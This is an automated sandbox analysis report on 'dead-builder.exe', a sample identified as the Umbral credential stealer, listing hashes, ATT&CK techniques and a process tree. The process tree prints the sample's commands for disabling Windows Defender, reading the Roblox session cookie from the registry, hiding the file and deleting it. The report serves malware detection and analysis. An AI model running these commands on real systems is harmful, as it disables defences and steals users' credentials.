umbral | 1b9385d02d7257137ac792f32b3109b02a01c720de368c1f334ec8f54638f795

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10-08-2024 04:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Dead Stealer/dead-builder.exe
Size

254KB
MD5

a57179fa58b196077b35da7eb4032a18
SHA1

92a6d5ac92fe534fa1c5cdb45bc95135ef3effad
SHA256

4fec5552f2a39ddd4bdcfd316ac96ecf9f6a413fb3a674d058d1695b88c8db5f
SHA512

d66f89a6f1b76e64de7f163a9cf4c31b1fcd2b1129800c1659f50d2a23e67e93820f64624ebacd25eeee193fee6e96a849f42687f5b4be9bdf8cab53f7ef31d7
SSDEEP

6144:K4oZoAeVHPtHgTIAaZgCwDx7axHU0unC28ejI8x7:xoZyHPvWCwjXCsIM

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2744-1-0x0000000000AC0000-0x0000000000B06000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2612	powershell.exe
2360	powershell.exe
3032	powershell.exe
1340	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	dead-builder.exe

Deletes itself 1 IoCs

pid	Process
2188	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2188	cmd.exe
336	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2176	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
336	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2744	dead-builder.exe
2612	powershell.exe
2360	powershell.exe
3032	powershell.exe
2584	powershell.exe
1340	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	dead-builder.exe
Token: SeIncreaseQuotaPrivilege	2872	wmic.exe
Token: SeSecurityPrivilege	2872	wmic.exe
Token: SeTakeOwnershipPrivilege	2872	wmic.exe
Token: SeLoadDriverPrivilege	2872	wmic.exe
Token: SeSystemProfilePrivilege	2872	wmic.exe
Token: SeSystemtimePrivilege	2872	wmic.exe
Token: SeProfSingleProcessPrivilege	2872	wmic.exe
Token: SeIncBasePriorityPrivilege	2872	wmic.exe
Token: SeCreatePagefilePrivilege	2872	wmic.exe
Token: SeBackupPrivilege	2872	wmic.exe
Token: SeRestorePrivilege	2872	wmic.exe
Token: SeShutdownPrivilege	2872	wmic.exe
Token: SeDebugPrivilege	2872	wmic.exe
Token: SeSystemEnvironmentPrivilege	2872	wmic.exe
Token: SeRemoteShutdownPrivilege	2872	wmic.exe
Token: SeUndockPrivilege	2872	wmic.exe
Token: SeManageVolumePrivilege	2872	wmic.exe
Token: 33	2872	wmic.exe
Token: 34	2872	wmic.exe
Token: 35	2872	wmic.exe
Token: SeIncreaseQuotaPrivilege	2872	wmic.exe
Token: SeSecurityPrivilege	2872	wmic.exe
Token: SeTakeOwnershipPrivilege	2872	wmic.exe
Token: SeLoadDriverPrivilege	2872	wmic.exe
Token: SeSystemProfilePrivilege	2872	wmic.exe
Token: SeSystemtimePrivilege	2872	wmic.exe
Token: SeProfSingleProcessPrivilege	2872	wmic.exe
Token: SeIncBasePriorityPrivilege	2872	wmic.exe
Token: SeCreatePagefilePrivilege	2872	wmic.exe
Token: SeBackupPrivilege	2872	wmic.exe
Token: SeRestorePrivilege	2872	wmic.exe
Token: SeShutdownPrivilege	2872	wmic.exe
Token: SeDebugPrivilege	2872	wmic.exe
Token: SeSystemEnvironmentPrivilege	2872	wmic.exe
Token: SeRemoteShutdownPrivilege	2872	wmic.exe
Token: SeUndockPrivilege	2872	wmic.exe
Token: SeManageVolumePrivilege	2872	wmic.exe
Token: 33	2872	wmic.exe
Token: 34	2872	wmic.exe
Token: 35	2872	wmic.exe
Token: SeDebugPrivilege	2612	powershell.exe
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	3032	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeIncreaseQuotaPrivilege	340	wmic.exe
Token: SeSecurityPrivilege	340	wmic.exe
Token: SeTakeOwnershipPrivilege	340	wmic.exe
Token: SeLoadDriverPrivilege	340	wmic.exe
Token: SeSystemProfilePrivilege	340	wmic.exe
Token: SeSystemtimePrivilege	340	wmic.exe
Token: SeProfSingleProcessPrivilege	340	wmic.exe
Token: SeIncBasePriorityPrivilege	340	wmic.exe
Token: SeCreatePagefilePrivilege	340	wmic.exe
Token: SeBackupPrivilege	340	wmic.exe
Token: SeRestorePrivilege	340	wmic.exe
Token: SeShutdownPrivilege	340	wmic.exe
Token: SeDebugPrivilege	340	wmic.exe
Token: SeSystemEnvironmentPrivilege	340	wmic.exe
Token: SeRemoteShutdownPrivilege	340	wmic.exe
Token: SeUndockPrivilege	340	wmic.exe
Token: SeManageVolumePrivilege	340	wmic.exe
Token: 33	340	wmic.exe
Token: 34	340	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 2872	2744	dead-builder.exe	30
PID 2744 wrote to memory of 2872	2744	dead-builder.exe	30
PID 2744 wrote to memory of 2872	2744	dead-builder.exe	30
PID 2744 wrote to memory of 2768	2744	dead-builder.exe	33
PID 2744 wrote to memory of 2768	2744	dead-builder.exe	33
PID 2744 wrote to memory of 2768	2744	dead-builder.exe	33
PID 2744 wrote to memory of 2612	2744	dead-builder.exe	35
PID 2744 wrote to memory of 2612	2744	dead-builder.exe	35
PID 2744 wrote to memory of 2612	2744	dead-builder.exe	35
PID 2744 wrote to memory of 2360	2744	dead-builder.exe	37
PID 2744 wrote to memory of 2360	2744	dead-builder.exe	37
PID 2744 wrote to memory of 2360	2744	dead-builder.exe	37
PID 2744 wrote to memory of 3032	2744	dead-builder.exe	39
PID 2744 wrote to memory of 3032	2744	dead-builder.exe	39
PID 2744 wrote to memory of 3032	2744	dead-builder.exe	39
PID 2744 wrote to memory of 2584	2744	dead-builder.exe	41
PID 2744 wrote to memory of 2584	2744	dead-builder.exe	41
PID 2744 wrote to memory of 2584	2744	dead-builder.exe	41
PID 2744 wrote to memory of 340	2744	dead-builder.exe	43
PID 2744 wrote to memory of 340	2744	dead-builder.exe	43
PID 2744 wrote to memory of 340	2744	dead-builder.exe	43
PID 2744 wrote to memory of 3036	2744	dead-builder.exe	45
PID 2744 wrote to memory of 3036	2744	dead-builder.exe	45
PID 2744 wrote to memory of 3036	2744	dead-builder.exe	45
PID 2744 wrote to memory of 1696	2744	dead-builder.exe	47
PID 2744 wrote to memory of 1696	2744	dead-builder.exe	47
PID 2744 wrote to memory of 1696	2744	dead-builder.exe	47
PID 2744 wrote to memory of 1340	2744	dead-builder.exe	49
PID 2744 wrote to memory of 1340	2744	dead-builder.exe	49
PID 2744 wrote to memory of 1340	2744	dead-builder.exe	49
PID 2744 wrote to memory of 2176	2744	dead-builder.exe	51
PID 2744 wrote to memory of 2176	2744	dead-builder.exe	51
PID 2744 wrote to memory of 2176	2744	dead-builder.exe	51
PID 2744 wrote to memory of 2188	2744	dead-builder.exe	53
PID 2744 wrote to memory of 2188	2744	dead-builder.exe	53
PID 2744 wrote to memory of 2188	2744	dead-builder.exe	53
PID 2188 wrote to memory of 336	2188	cmd.exe	55
PID 2188 wrote to memory of 336	2188	cmd.exe	55
PID 2188 wrote to memory of 336	2188	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2768	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Dead Stealer\dead-builder.exe
"C:\Users\Admin\AppData\Local\Temp\Dead Stealer\dead-builder.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Dead Stealer\dead-builder.exe"
  2⤵
  - Views/modifies file attributes
  PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Dead Stealer\dead-builder.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2584
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:340
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3036
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1340
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2176
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Dead Stealer\dead-builder.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\77J47S4I1SKBGMUOIEGN.temp

Filesize
7KB

MD5
44126b2d0104b422529bb5daa8f3603c

SHA1
1c9cf4603850de510a1462b42ba23f75cba9b68c

SHA256
ecaf8ade7ab2e40d5216e5fce2c01c0e157bbcf9f337f77bee9068b006017300

SHA512
ddeb1e006686c2b8c9af249f082a93ccbb18670fa741b418180a326d16362762d9cec1d43f8de351b551191ca7e4795e34670c0de71e43c029b361be1325ee04

Download Submit
memory/1340-43-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/1340-44-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2360-14-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/2360-15-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2612-7-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2612-8-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2744-0-0x000007FEF5E43000-0x000007FEF5E44000-memory.dmp

Filesize
4KB

Download
memory/2744-1-0x0000000000AC0000-0x0000000000B06000-memory.dmp

Filesize
280KB

Download
memory/2744-2-0x000007FEF5E40000-0x000007FEF682C000-memory.dmp

Filesize
9.9MB

Download
memory/2744-48-0x000007FEF5E40000-0x000007FEF682C000-memory.dmp

Filesize
9.9MB

Download